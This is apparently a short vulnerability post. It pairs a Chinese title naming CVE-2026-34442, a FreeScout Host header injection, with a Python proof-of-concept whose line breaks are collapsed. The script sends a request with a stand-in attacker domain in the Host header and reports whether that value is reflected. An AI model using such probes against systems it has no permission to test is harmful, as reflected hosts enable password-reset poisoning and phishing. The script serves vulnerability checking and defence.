CVE-2026-34442 FreeScout Host头注入漏洞

# PoC for CVE-2026-34442 Host Header Injection import requests def check_vulnerability(target_url, malicious_host): headers = { "Host": malicious_host, "User-Agent": "CVE-2026-34442-Scanner" } try: response = requests.get(target_url, headers=headers) # Check if the malicious host is reflected in the response body or headers if malicious_host in response.text or malicious_host in response.headers.get('Location', ''): print(f"[+] Vulnerability Detected! Host '{malicious_host}' was reflected.") print(f"Response Status: {response.status_code}") return True else: print("[-] Host header not reflected in response.") return False except Exception as e: print(f"[!] Error: {e}") return False if __name__ == "__main__": target = "http://localhost:8080/system/status" evil_host = "attacker-controlled-domain.com" check_vulnerability(target, evil_host)